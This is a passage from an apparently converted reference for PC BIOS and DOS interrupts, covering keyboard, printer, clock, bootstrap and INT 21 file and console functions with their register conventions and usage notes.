           1C - 2.5         1D - 2.3         1E - 2.1   1F - 2.0

      returns nothing

      - if the typematic rate is not within range,no action is taken
      - available on AT and PS/2 machines with extended keyboard support
      - see ~KEYBOARD COMMANDS~
:int 16,4
^INT 16,4 - Keyboard Click Adjustment (AT+)


      AH = 04
      AL = 1 for click on
         = 0 for click off


      - available only on AT and later machines that support the extended
        keyboard BIOS
:int 16,5
^INT 16,5 - Keyboard Buffer Write  (AT+)


      AH = 05
      CH = ~scan code~
      CL = ASCII character


      on return:
      AL = 00 if success
           01 if buffer full


      - available on AT and PS/2 machines with extended keyboard support
      - stores normal keystroke into keyboard buffer
      - will not store attribute keys like Shift, Alt, Ctrl, etc...

:int 16,10
^INT 16,10 - Extended Wait for Keypress and Read Character  (AT+)


      AH = 10h


      on return:
      AH = ~scan code~
      AL = ASCII character or zero if special function key


      - available on AT and PS/2 machines with extended keyboard support
      - similar to ~INT 16,0~
:int 16,11
^INT 16,11 - Extended Get Keyboard Status  (AT+)
```

```
        AH = 11h


        on return:
        ZF = 0 if key pressed (data waiting)
        AX = 0 if no scan code is available
        AH = ~scan code~
        AL = ASCII character or zero if special function key


        - available on AT and PS/2 machines with extended keyboard support
        - data is not removed from buffer
        - similar to ~INT 16,1~

:int 16,12
^INT 16,12 - Extended Get Keyboard Status  (AT+)

        AH = 12h

        on return:
        AH = BIOS keyboard flags (~BIOS Data Area~ location 40:18)

              ³7³6³5³4³3³2³1³0³  AH
               ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ left CTRL key depressed
               ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ left ALT key depressed
               ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ right CTRL key pressed
               ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ right ALT key depressed
               ³ ³ ³ ÀÄÄÄÄÄÄÄÄ scroll-lock depressed
               ³ ³ ÀÄÄÄÄÄÄÄÄÄ num-lock key depressed
               ³ ÀÄÄÄÄÄÄÄÄÄÄ caps-lock key depressed
               ÀÄÄÄÄÄÄÄÄÄÄÄÄ system request key depressed

        AL = BIOS keyboard flags (BIOS Data Area location 40:17)

              ³7³6³5³4³3³2³1³0³  AL
               ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ right shift key depressed
               ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄ left shift key depressed
               ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄ CTRL key depressed
               ³ ³ ³ ³ ÀÄÄÄÄÄÄÄ ALT key depressed
               ³ ³ ³ ÀÄÄÄÄÄÄÄÄ scroll-lock is active
               ³ ³ ÀÄÄÄÄÄÄÄÄÄ num-lock is active
               ³ ÀÄÄÄÄÄÄÄÄÄÄ caps-lock is active
               ÀÄÄÄÄÄÄÄÄÄÄÄÄ insert is active


        - available on AT and PS/2 machines with extended keyboard support
        - similar to ~INT 16,2~

        - see ~KB FLAGS~

:int 17:BIOS printer services:int 17,status:printer status
^INT 17 - Printer BIOS Services

%       For more information, see the following topics:

        ~INT 17,0~   Print character
        ~INT 17,1~   Initialize printer port
        ~INT 17,2~   Read printer port status

        Status flags returned in register AH
```

```
³7³6³5³4³3³2³1³0³  AH (status)
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ  time-out
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ  unused
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ  1 = I/O error  (~parallel~ pin 15)
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ  1 = printer selected/on-line  (parallel pin 13)
 ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ  1 = out of paper  (parallel pin 12)
 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ  1 = printer acknowledgment  (parallel pin 10)
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ   1 = printer not busy  (parallel pin 11)
```

- on the AT, XT 286, and PS/2 when the BIOS determines the printer is busy, ~INT 15,90~ is executed
- all printers do not return reliable status information; bit 3 and bit 7 are usually reliable.
- all registers are preserved except AH

:int 17,0
^INT 17,0 - Print Character

AH = 00
AL = character to print
DX = printer to be used (0-2)

on return:
AH = printer status, see ~INT 17,STATUS~

- writes character and returns status

:int 17,1
^INT 17,1 - Initialize Printer Port

AH = 01
DX = printer port to initialize (0-2)

on return:
AH = status, see ~INT 17,STATUS~

- initializes printer port and returns status
- outputs characters 0x08 and 0x0C to printer port which reset ~Epson~ and IBM printers, but may produce undesirable effects on other printers

:int 17,2
^INT 17,2 - Read Printer Port Status

AH = 02
DX = printer port to be used (0-2)

on return:
AH = status:

```
³7³6³5³4³3³2³1³0³  Printer status bits
 ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ time out
 ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄ unused
 ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄ I/O error
 ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄ selected
 ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄ out of paper
 ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄ acknowledge
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ not busy
```

```
      - returns status of specified printer port
:int 19
^INT 19 - Bootstrap Loader


      DL = physical drive where boot sector is located


      no output


      - track 0, sector 1 is loaded into address 0:7C00
        and control is transferred there
      - not a preferred method for rebooting by applications.  A
        better method is to set the word at location 40:72 to 1234h
        and jump to location FFFF:0 in ROM
      - memory is not cleared when rebooted through this interrupt

      - see ~WARM BOOT~

:int 1a:BIOS clock services
^INT 1A - System and Real Time Clock BIOS Services


%     For more informations, see the following topics:

      ~INT 1A,0~   Read system clock counter
      ~INT 1A,1~   Set system clock counter
      ~INT 1A,2~   Read real time clock time (AT,PS/2)
      ~INT 1A,3~   Set real time clock time (AT,PS/2)
      ~INT 1A,4~   Read real time clock date (AT,PS/2)
      ~INT 1A,5~   Set real time clock date (AT,PS/2)
      ~INT 1A,6~   Set real time clock alarm (AT,PS/2)
      ~INT 1A,7~   Reset real time clock alarm (PS/2)
      ~INT 1A,8~   Set RTC activated power on mode (convertible,PS/2)
      ~INT 1A,9~   Read RTC alarm time and status (convertible,PS/2)
      ~INT 1A,A~   Read system day counter (PS/2)
      ~INT 1A,B~   Set system day counter (PS/2)
      ~INT 1A,80~  Set up sound multiplexer (PCjr only)

      - function is specified in register AH
      - see ~RTC~
:int 1a,0
^INT 1A,0 - Read System Clock Counter


      AH = 00


      on return:
      AL = midnight flag, 1 if 24 hours passed since reset
      CX = high order word of tick count
      DX = low order word of tick count


      - incremented approximately 18.206 times per second
      - at midnight CX:DX is zero
      - this function can be called in a program to assure the date is
        updated after midnight;  this will avoid the passing two midnights
        date problem
:int 1a,1
```

^INT 1A,1 - Set System Clock Counter

```
	AH = 01
	CX = high order word of tick count
	DX = low order word of tick count


	returns nothing


	- CX:DX should be set to the number of seconds past
	  midnight multiplied by approximately 18.206
```

:int 1a,2
^INT 1A,2 - Read Time From Real Time Clock (XT 286,AT,PS/2)

```
	AH = 02


	on return:
	CF = 0 if successful
	   = 1 if error, ~RTC~ not operating
	CH = hours in BCD
	CL = minutes in BCD
	DH = seconds in BCD
	DL = 1 if daylight savings time option


	- on AT with BIOS before 6/10/85, DL is not returned
```

:int 1a,3
^INT 1A,3 - Set Time on Real Time Clock (XT 286,AT,PS/2)

```
	AH = 03
	CH = hours in BCD
	CL = minutes in BCD
	DH = seconds in BCD
	DL = 1 if daylight savings time option
	   = 0 if standard time


	returns nothing


	- clock values must be in BCD
	- see ~RTC~
```

:int 1a,4
^INT 1A,4 - Read Real Time Clock Date (XT 286,AT,PS/2)

```
	AH = 04


	on return:
	CH = century in BCD (decimal 19 or 20)
	CL = year in BCD
	DH = month in BCD
	DL = day in BCD
	CF = 0 if successful
	   = 1 if error or clock not operating
```

```
	- calling this interrupt will update the DOS maintained date and
	  reset the ~BIOS Data Area~ date rollover flag at 40:70
	- see ~RTC~
:int 1a,5
^INT 1A,5 - Set Real Time Clock Date  (XT 286,AT,PS/2)


	AH = 05
	CH = century in BCD (decimal 19 or 20)
	CL = year in BCD
	DH = month in BCD
	DL = day in BCD


	returns nothing


	- all values must be in BCD
	- see ~RTC~
:int 1a,6
^INT 1A,6 - Set Real Time Clock Alarm  (XT 286,AT,PS/2)


	AH = 06
	CH = hours in BCD
	CL = minutes in BCD
	DH = seconds in BCD


	on return:
	CF = 1 if alarm already set or clock inoperable


	- alarm setting is not relative like some sources claim, but the
	  actually clock time the interrupt should occur
	- settings values must be in BCD
	- when the alarm time is reached ~INT 4A~ is executed
	- INT 4A vector should be replaced with address of the alarm
	  handling interrupt routine before setting the alarm
	- ~INT 1A,7~ should be called to disable the ~RTC~ alarm
:int 1a,7
^INT 1A,7 - Disable Real Time Clock Alarm  (XT,AT,PS/2)


	AH = 07


	returns nothing


	- should be called previous to setting or resetting the
	  ~RTC~ alarm with ~INT 1A,6~
:int 1a,8
^INT 1A,8 - Set RTC Activated Power On Mode (convertible)


	AH = 08
	CH = hours in BCD
	CL = minutes in BCD
	DH = seconds in BCD


	- see ~RTC~
```

```
:int 1a,9
^INT 1A,9 - Read RTC Alarm Time and Status (convertible,PS/2)


      AH = 09


      on return:
      CH = hours in BCD
      CL = minutes in BCD
      DH = seconds in BCD
      DL = alarm status:
         = 00 if alarm not enabled (AIE=0)
         = 01 if alarm enabled but will not power up system (AIE=1)
         = 02 if alarm will power up system (AIE=1)


      - see ~RTC~
:int 1a,a
^INT 1A,A - Read System Day Counter (PS/2)


      AH = 0Ah


      on return:
      CX = count of days since 1-1-1980

:int 1a,b
^INT 1A,B - Set System Day Counter (PS/2)


      AH = 0Bh
      CX = count of days since 1-1-1980

:int 1a,80
^INT 1A,80 - Setup Sound Multiplexer  (PCjr only)


      AL = 00 - source is ~8253~ channel 2
         = 01 - source is cassette input
         = 02 - source is I/O channel "AUDIO IN"
         = 03 - source is sound generator chip

:int 1b:Ctrl-Break:BIOS break interrupt
^INT 1B - BIOS Ctrl-Break Handler Address


      - holds address of the BIOS Ctrl-Break interrupt handler
      - called by ~INT 9~ after Ctrl-Break key is pressed; INT 9 sets the
        BIOS keyboard head and tail pointers to the buffer start and
        places a zero word in the buffer
      - the BIOS initially sets this value to point to a simple ~IRET~ but
        DOS re-vectors this to its own code, usually 2 lines of code that
        sets an internal flag (to 3) and then returns via IRET.
      - DOS checks this flag on entry to many of its subfunctions.  If the
        flag is set, it invokes ~INT 23~.
      - pointing this address to a null function with and IRET disables
        Ctrl-Break aborts
      - if the INT 1B code chooses to retain control of the system, it
        must issue an EOI for any interrupt pending on the ~8259~ and reset
        all I/O devices
      - should be terminated via an IRET
```

```
      - should not be called directly by user application
:int 1c:user timer routine
^INT 1C - System Timer Tick (User Routine)


      - called by ~INT 8~, approximately 18.206 times per second
        (unless the program modifies the ~8253~ PIT
      - this is a user routine which the BIOS defaults to a simple ~IRET~
      - this interrupt vector can be used for TSR popup utilities,
        animated graphics updates and event polling
      - since many TSR's don't maintain the integrity of the interrupt
        call chain, relying on this for TSR popup isn't recommended
:int 1d
^INT 1D - Video Initialization Parameter Table Vector


      - not a true interrupt, but a far pointer to a video
        initialization parameter table for video controllers

:int 1e
^INT 1E - Disk Initialization Parameter Table Vector

      - not an interrupt, but a far pointer to the diskette base table
      - this table contains initialization parameters for the disk
        controller used during formatting, reading, and writing to a disk

%     Disk Initialization Parameter Table Vector Definition:

%     Offset        Description

        00  ³7³6³5³4³3³2³1³0³  Disk Controller Mode byte 1
             ³ ³ ³ ³ ÀÄÁÄÁÄÁÄÄÄ  head step rate in milliseconds (0-F)
             ÀÄÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄ  head unload time in milliseconds (0-F)

        01  ³7³6³5³4³3³2³1³0³  Disk Controller Mode byte 2
             ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄ DMA flag (0 = use DMA)
             ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÄÄÄÄ (head load time/2)-1 in milliseconds

        02  clock ticks until motor off
        03  FM or MFM Mode:  Log2 (Bytes per Sector/128)
            FM=Frequency Modulation used on single-density disks
            MFM=Modified Frequency Modulation used on double-sided disks
        04  last sector on track
        05  gap length in bytes:

                 Bytes Per     Sectors     Write    Format
            MFM     Sector    Per Track     Gap Gap
             1    256       18           0Ah   0Ch
             1    256       16           20h   32h
             2    512        8           2Ah   50h
             2    512        9           1Bh   6Ch
             3       1024         4            80h   F0h
             4       2048         2            C8h   FFh
             5       4096         1            C8h   FFh

        06  disk data length
            80h for 128 bytes/sector
            FFh otherwise
        07  gap length when formatting
        08  data pattern used during formatting
        09  floppy head bounce delay (in milliseconds)
        0A  floppy motor start delay (in 0.125 second intervals)
        0B  floppy motor stop delay (in 0.25 second intervals)
```

```
      - see ~INT 13,18~

:int 1f
^INT 1F - Graphics Display Character Bit Map Table


      - not a true interrupt, but a far pointer to a table of
        character bit maps for the graphics mode representation of
        ASCII characters 128 through 255
      - can be used to change character fonts in CGA graphics mode

:DOS interrupts
^DOS Interrupt Summary


%     See the following topics for more information:

      ~INT 20~  Program terminate
      ~INT 21~  DOS Function Dispatcher
      ~INT 22~  Program Terminate
      ~INT 23~  Ctl-break exit address
      ~INT 24~  Critical error handler address
      ~INT 25~  Absolute disk read
      ~INT 26~  Absolute disk write
      ~INT 27~  Terminate but stay resident
      ~INT 28~  DOS idle loop/scheduler (undocumented)
      ~INT 29~  Fast character output (undocumented)
      ~INT 2E~  Execute command using base level COMMAND.COM (undoc.)
      ~INT 2F~  Multiplex interrupt (DOS 3.x+)

:int 20
^INT 20 - Program Terminate


      CS = address of ~PSP~


      returns nothing


      - INT 20 restores the terminate, ~Ctrl-Break~, and critical error
        exit addresses from values in the PSP, flushes all buffers, frees
        memory and returns to DOS via the termination handler address
      - does not close ~FCB~s
      - this function is no longer recommended, but can be used by
        version of DOS before 2.0, see  ~INT 21,4C~  and  ~INT 21,0~

:int 21:DOS services:DOS functions
^INT 21 - DOS Function Dispatcher

^For more information, see the following topics:

      ~INT 21,0~  Program terminate
      ~INT 21,1~  Keyboard input with echo
      ~INT 21,2~  Display output
      ~INT 21,3~  Wait for auxiliary device input
      ~INT 21,4~  Auxiliary output
      ~INT 21,5~  Printer output
      ~INT 21,6~  Direct console I/O
      ~INT 21,7~  Wait for direct console input without echo
      ~INT 21,8~  Wait for console input without echo
      ~INT 21,9~  Print string
```

```
~INT 21,A~  Buffered keyboard input
~INT 21,B~  Check standard input status
~INT 21,C~  Clear keyboard buffer, invoke keyboard function
~INT 21,D~  Disk reset
~INT 21,E~  Select disk
~INT 21,F~  Open file using ~FCB~
~INT 21,10~  Close file using FCB
~INT 21,11~  Search for first entry using FCB
~INT 21,12~  Search for next entry using FCB
~INT 21,13~  Delete file using FCB
~INT 21,14~  Sequential read using FCB
~INT 21,15~  Sequential write using FCB
~INT 21,16~  Create a file using FCB
~INT 21,17~  Rename file using FCB
~INT 21,18~  DOS dummy function (CP/M) (not used/listed)
~INT 21,19~  Get current default drive
~INT 21,1A~  Set disk transfer address
~INT 21,1B~  Get allocation table information
~INT 21,1C~  Get allocation table info for specific device
~INT 21,1D~  DOS dummy function (CP/M) (not used/listed)
~INT 21,1E~  DOS dummy function (CP/M) (not used/listed)
~INT 21,1F~  Get pointer to default drive parameter table (undocumented)
~INT 21,20~  DOS dummy function (CP/M) (not used/listed)
~INT 21,21~  Random read using ~FCB~
~INT 21,22~  Random write using FCB
~INT 21,23~  Get file size using FCB
~INT 21,24~  Set relative record field for FCB
~INT 21,25~  Set interrupt vector
~INT 21,26~  Create new program segment
~INT 21,27~  Random block read using FCB
~INT 21,28~  Random block write using FCB
~INT 21,29~  Parse filename for FCB
~INT 21,2A~  Get date
~INT 21,2B~  Set date
~INT 21,2C~  Get time
~INT 21,2D~  Set time
~INT 21,2E~  Set/reset verify switch
~INT 21,2F~  Get disk transfer address
~INT 21,30~  Get DOS version number
~INT 21,31~  Terminate process and remain resident
~INT 21,32~  Get pointer to drive parameter table (undocumented)
~INT 21,33~  Get/set ~Ctrl-Break~ check state & get boot drive
~INT 21,34~  Get address to DOS critical flag (undocumented)
~INT 21,35~  Get vector
~INT 21,36~  Get disk free space
~INT 21,37~  Get/set switch character (undocumented)
~INT 21,38~  Get/set country dependent information
~INT 21,39~  Create subdirectory (mkdir)
~INT 21,3A~  Remove subdirectory (rmdir)
~INT 21,3B~  Change current subdirectory (chdir)
~INT 21,3C~  Create file using handle
~INT 21,3D~  Open file using handle
~INT 21,3E~  Close file using handle
~INT 21,3F~  Read file or device using handle
~INT 21,40~  Write file or device using handle
~INT 21,41~  Delete file
~INT 21,42~  Move file pointer using handle
~INT 21,43~  Change file mode
~INT 21,44~  I/O control for devices (~IOCTL~)
~INT 21,45~  Duplicate file handle
~INT 21,46~  Force duplicate file handle
~INT 21,47~  Get current directory
~INT 21,48~  Allocate memory blocks
```

```
~INT 21,49~  Free allocated memory blocks
~INT 21,4A~  Modify allocated memory blocks
~INT 21,4B~  EXEC load and execute program (func 1 undocumented)
~INT 21,4C~  Terminate process with return code
~INT 21,4D~  Get return code of a sub-process
~INT 21,4E~  Find first matching file
~INT 21,4F~  Find next matching file
~INT 21,50~  Set current process id (undocumented)
~INT 21,51~  Get current process id (undocumented)
~INT 21,52~  Get pointer to DOS "INVARS" (undocumented)
~INT 21,53~  Generate drive parameter table (undocumented)
~INT 21,54~  Get verify setting
~INT 21,55~  Create ~PSP~ (undocumented)
~INT 21,56~  Rename file
~INT 21,57~  Get/set file date and time using handle
~INT 21,58~  Get/set memory allocation strategy (3.x+, undocumented)
~INT 21,59~  Get extended error information (3.x+)
~INT 21,5A~  Create temporary file (3.x+)
~INT 21,5B~  Create new file (3.x+)
~INT 21,5C~  Lock/unlock file access (3.x+)
~INT 21,5D~  Critical error information (undocumented 3.x+)
~INT 21,5E~  Network services (3.1+)
~INT 21,5F~  Network redirection (3.1+)
~INT 21,60~  Get fully qualified file name (undocumented 3.x+)
~INT 21,62~  Get address of program segment prefix (3.x+)
~INT 21,63~  Get system lead byte table (MSDOS 2.25 only)
~INT 21,64~  Set device driver look ahead  (undocumented 3.3+)
~INT 21,65~  Get extended country information (3.3+)
~INT 21,66~  Get/set global code page (3.3+)
~INT 21,67~  Set handle count (3.3+)
~INT 21,68~  Flush buffer (3.3+)
~INT 21,69~  Get/set disk serial number (undocumented DOS 4.0+)
~INT 21,6A~  DOS reserved (DOS 4.0+)
~INT 21,6B~  DOS reserved
~INT 21,6C~  Extended open/create (4.x+)
~INT 21,F8~  Set OEM INT 21 handler (functions F9-FF) (undocumented)


- int 21 functions are called with the function number in AH
- register AX may be altered, its contents are not guaranteed
- if an error occurs, CF is set to 1 and AX contains a simple
  error code;     ~INT 21,59~ can be used to determine cause.
- most INT 21 functions do not restore the flags to pre-interrupt
  state to allow returning of information via the flags register
```

:int 21,0
^INT 21,0 - Program Terminate

```
AH = 00
CS = ~PSP~ segment address


returns nothing


- restores the terminate, ~Ctrl-Break~, and critical error
  exit addresses, flushes all buffers, frees memory
  and returns to DOS via the termination handler address
- does not close ~FCB~s
- this function is no longer recommended, but can be used by
  version of DOS before 2.0, see  ~INT 21,4C~  and  ~INT 20~
```

```
:int 21,1
^INT 21,1 - Keyboard Input with Echo


	AH = 01


	on return:
	AL = character from standard input device


	- waits for keyboard input from STDIN and echoes to STDOUT
	- returns 0 for extended keystroke, then function must be
	  called again to return scan code
	- if ~Ctrl-Break~ is detected, ~INT 23~ is executed

:int 21,2
^INT 21,2 - Display Output


	AH = 02
	DL = character to output


	returns nothing


	- outputs character to STDOUT
	- backspace is treated as non-destructive cursor left
	- if ~Ctrl-Break~ is detected, ~INT 23~ is executed

:int 21,3
^INT 21,3 - Wait for Auxiliary Device Input


	AH = 03


	on return:
	AL = character from the auxiliary device


	- does not supply error returns
	- waits for character and reads from STDAUX
	- default DOS AUX parameters are 2400,N,8,1

:int 21,4
^INT 21,4 - Auxiliary Output


	AH = 04
	DL = character to output


	returns nothing


	- sends character in DL to STDAUX
	- does not supply error returns
	- waits until STDAUX is available
	- default DOS AUX parameters are 2400,N,8,1

:int 21,5
```

```
^INT 21,5 - Printer Output


	AH = 05
	DL = character to output


	returns nothing


	- sends character in DL to STDPRN
	- waits until STDPRN device is ready before output

:int 21,6
^INT 21,6 - Direct Console I/O

	AH = 06
	DL = (0-FE) character to output
	   = FF if console input request

	on return:
	AL = input character if console input request (DL=FF)
	ZF = 0	  if console request character available (in AL)
	   = 1	  if no character is ready, and function request
	     was console input


	- reads from or writes to the console device depending on
	  the value of DL
	- cannot output character FF  (DL=FF indicates read function)
	- for console read, no echo is produced
	- returns 0 for extended keystroke, then function must be
	  called again to return scan code
	- ignores Ctrl-Break and Ctrl-PrtSc

:int 21,7
^INT 21,7 - Direct Console Input Without Echo


	AH = 07


	on return:
	AL = character from STDIN


	- waits for keyboard input until keystroke is ready
	- character is not echoed to STDOUT
	- returns 0 for extended keystroke, then function must be
	  called again to return scan code
	- ignores Ctrl-Break and Ctrl-PrtSc
	- see ~INT 21,1~

:int 21,8
^INT 21,8 - Console Input Without Echo


	AH = 08


	on return:
	AL = character from STDIN
```

```
      - returns 0 for extended keystroke, then function must be
        called again to return scan code
      - waits for character from STDIN and returns data in AL
      - if ~Ctrl-Break~ is detected, ~INT 23~ is executed

:int 21,9
^INT 21,9 - Print String


      AH = 09
      DS:DX = pointer to string ending in "$"


      returns nothing


      - outputs character string to STDOUT up to "$"
      - backspace is treated as non-destructive
      - if ~Ctrl-Break~ is detected, ~INT 23~ is executed

:int 21,a
^INT 21,A - Buffered Keyboard Input

      AH = 0A
      DS:DX = pointer to input buffer of the format:

      ³ max ³ count ³  BUFFER (N bytes)
         ³     ³        ÀÄÄÄÄÄÄ input buffer
         ³     ÀÄÄÄÄÄÄÄÄÄÄÄÄ number of characters returned (byte)
         ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ maximum number of characters to read (byte)


      returns nothing

      - since strings can be pre-loaded, it is recommended that the
        default string be terminated with a CR
      - N bytes of data are read from STDIN into buffer+2
      - max buffer size is 255, minimum buffer size is 1 byte
      - chars up to and including a CR are placed into the buffer
        beginning at byte 2;  Byte 1 returns the number of chars
        placed into the buffer  (extended codes take 2 characters)
      - DOS editing keys are active during this call
      - ~INT 23~ is called if Ctrl-Break or Ctrl-C detected

:int 21,b
^INT 21,B - Check Standard Input Status


      AH = 0B


      on return:
      AL = 00 if no character available
         = FF if character available


      - checks STDIN for available characters
      - character is not returned
      - if Ctrl-Break is detected ~INT 23~ is executed

:int 21,c
^INT 21,C - Clear Keyboard Buffer and Invoke Keyboard Function
```

```
      AH = 0C
      AL = 01, 06, 07, 08 or 0A   (INT 21 input functions)


      on return:
      see return values from INT 21,AL where AL is 1, 6, 7, 8 or A


      - main function is to clear the input buffer and call INT 21h with
        the specified function (in AL)
      - see ~INT 21,1~,  ~INT 21,6~,  ~INT 21,7~,  ~INT 21,8~ & ~INT 21,A~

:int 21,d
^INT 21,D - Disk Reset


      AH = 0D


      returns nothing


      - all file buffers are flushed to disk
      - does NOT update directory entry

:int 21,e
^INT 21,E - Select Disk


      AH = 0E
      DL = zero based, drive number (0-25, A: - Z:)


      on return:
      AL = one based, total number of logical drives including
           hardfiles (1-26)


      - for DOS 3.x+, this function returns the number of logical
        drives or the value of LASTDRIVE (default of 5) in the
        CONFIG.SYS file

:int 21,f
^INT 21,F - Open a File Using FCB

      AH = 0F
      DS:DX = pointer to unopened ~FCB~


      on return:
      AL = 00 if file opened
         = FF if unable to open


      - opens an existing file using a previously setup FCB
      - the FCB fields drive identifier, filename and extension
        must be filled in before call
      - sets default FCB fields; current block number is set to 0;
        record size is set to 80h; file size, date and time are set
        to the values from the directory
      - does not create file, see  ~INT 21,16~
```

```
      - DOS 2.x allows opening of subdirectories, DOS 3.x does not
:int 21,10
^INT 21,10 - Close a File Using FCB


      AH = 10h
      DS:DX = pointer to opened ~FCB~


      on return:
      AL = 00  if file closed
         = FF  if file not closed


      - closes a previously opened file opened with an FCB
      - FCB must be setup with drive id, filename, and extension
        before call

:int 21,11
^INT 21,11 - Search for First Entry Using FCB

      AH = 11h
      DS:DX = pointer to unopened ~FCB~

      on return:
      AL = 00 if matching file found
         = FF if file not found

      - searches for first occurrence of filename specified in FCB
      - FCB must have drive id, filename, and extension before call
      - extended FCB can be used to specify a search criteria based
        on attributes; hidden, system, label, and directory attributes
        can be used to narrow the search  (see ~FILE ATTRIBUTES~)
      - after successful call DTA holds an unopened ~FCB~/~XFCB~ for
        the requested file.  Using any of the other FCB functions
        destroys this ~DTA~ copy of the FCB/XFCB
      - searching can be continued with the FCB find-next function
      - "?" wildcard supported after DOS 2.1, "*" supported in DOS 3.x
      - DOS 2.x can't find . and .. entries, DOS 3.x can (unless in root)
      - see ~INT 21,12~

:int 21,12
^INT 21,12 - Search for Next Entry Using FCB

      AH = 12h
      DS:DX = pointer to unopened ~FCB~ returned from
            ~INT 21,11~  or  ~INT 21,12~


      on return:
      AL = 00 if file found
         = FF if file not found


      - finds next matching file after calls to ~INT 21,11~ and
        ~INT 21,12~
      - FCB should be the same across calls to INT 21,11 and 12
      - after successful call ~DTA~ holds an unopened ~FCB~/~XFCB~ for
        the requested file.  Using any of the other FCB functions
        destroys this DTA copy of the FCB/XFCB
:int 21,13
^INT 21,13 - Delete File Using FCB
```

```
      AH = 13h
      DS:DX = pointer to an unopened ~FCB~


      on return:
      AL = 00 if file deleted
         = FF if file not found


      - deletes unopened file with normal attributes
      - FCB must contain drive id, filename, and extension before call
      - "?" wildcard supported after DOS 2.1, "*" supported by DOS 3.x+
      - DOS 2.x allowed deletion of a subdirectory if ~XFCB~ was provided,
        even if files existed, causing lost clusters.  DOS 3.x does not
:int 21,14
^INT 21,14 - Sequential Read Using FCB

      AH = 14h
      DS:DX = pointer to an opened ~FCB~


      on return:
      AL = 00 if successful read
         = 01 if end of file (no data read)
         = 02 if ~DTA~ is too small
         = 03 if end of file or partial record read


      - reads a record from file pointed to by FCB at the location
        specified in current block and current record number
      - data record is read into the DTA
      - FCB record number is updated
:int 21,15
^INT 21,15 - Sequential Write Using FCB


      AH = 15h
      DS:DX = pointer to an opened ~FCB~


      on return:
      AL = 00 if write was successful
         = 01 if diskette is full or read only
         = 02 if ~DTA~ is too small


      - writes a record from the DTA to the current record position
        in file specified by the opened FCB
      - record size and output location are maintained in the FCB
:int 21,16
^INT 21,16 - Create a File Using FCB


      AH = 16h
      DS:DX = pointer to an unopened ~FCB~


      on return:
      AL = 00 if file created
         = FF if file creation failed
```

```
      - creates file using FCB and leaves open for later output
      - FCB must be setup with drive id, filename, and extension
        before call
      - an extended FCB can be used to also set ~file attributes~
:int 21,17
^INT 21,17 - Rename a File Using FCB

      AH = 17h
      DS:DX = pointer to a modified ~FCB~ of the format:

        Offset     Description
          00         drive designator
          01         original file name
          09         original file extension
          11         new file name
          19         new extension


      on return:
      AL = 00 if file renamed
         = FF if file not renamed


      - allows renaming of files with normal attributes
      - "?" wildcard supported after DOS 2.1, "*" supported by
        DOS 3.x+
:int 21,19
^INT 21,19 - Get Current Default Drive


      AH = 19h


      on return:
      AL = current default drive (0=A,1=B,etc)


      - determines the current default drive

:int 21,1a
^INT 21,1A - Set Disk Transfer Address (DTA)


      AH = 1A
      DS:DX = pointer to disk transfer address (~DTA~)


      returns nothing


      - specifies the disk transfer address to DOS
      - DTA cannot overlap 64K segment boundary
      - offset 80h in the ~PSP~ is a 128 byte default DTA supplied
        by DOS upon program load
      - use of the DTA provided by DOS will result in the loss
        of the program command tail which also occupies the 128
        bytes starting at offset 80h of the PSP
      - see ~INT 21,2F~
:int 21,1b
^INT 21,1B - Get Allocation Table Information


      AH = 1B
```

```
        on return:
        AL = sectors per cluster
        CX = bytes per sector
        DX = clusters on disk
        DS:BX = pointer to ~Media Descriptor Byte~ found in ~FAT~


        - retrieves information on capacity and format of default drive
        - DS:BX can be used to determine if drive is RAMDISK or removable
        - see  ~INT 21,1C~

:int 21,1c
^INT 21,1C - Get Allocation Table Info for Specified Drive


        AH = 1C
        DL = drive number (0 for default, 1 = A:, Z: = 26)


        on return:
        AL = sectors per cluster
        CX = bytes per sector
        DX = clusters on disk
        DS:BX = pointer to ~Media Descriptor Byte~ found in ~FAT~


        - retrieves information on capacity and format of specified drive
        - DS:BX can be used to determine if drive is RAMDISK or removable
        - see  ~INT 21,1B~

:int 21,1f
^INT 21,1F - Get Pointer to Current Drive Parameter Table
^(Undocumented)


        AH = 1F
        DL = drive number (0=default, 1=A, ...)


        on return:
        AL = 00  DS:BX is pointer to drive parameter table  (~DPT~)
             FF  drive does not exist
        DS:BX = pointer to drive parameter table (DPT) if AL=0


        - the format of the DPT varies between DOS versions
        - calls ~INT 21,32~ with DL=00 for DOS version 2.x+
:int 21,21
^INT 21,21 - Random Read Using FCB


        AH = 21h
        DS:DX = pointer to an opened ~FCB~


        on return:
        AL = 00 if read successful
           = 01 if EOF (no data read)
           = 02 if ~DTA~ is too small
           = 03 if EOF (partial record read)
```

```
	- reads random records from a file opened with an FCB
	  to the DTA
	- FCB must be setup with drive id, filename, extension,
	  record position and record length before call
	- current record position field in FCB is not updated

:int 21,22
^INT 21,22 - Random Write Using FCB


	AH = 22h
	DS:DX = far pointer to an opened ~FCB~


	on return:
	AL = 00 if write successful
	   = 01 if diskette full or read only
	   = 02 if ~DTA~ is too small


	- write records to random location in file opened with FCB
	- FCB must be setup with drive id, filename, extension,
	  record position and record length before call
	- current record position field in FCB is not updated

:int 21,23
^INT 21,23 - Get File Size Using FCB


	AH = 23h
	DS:DX = pointer to an unopened ~FCB~


	on return:
	AL = 00 if successful
	   = FF if file not found


	- determines the number of records in a file
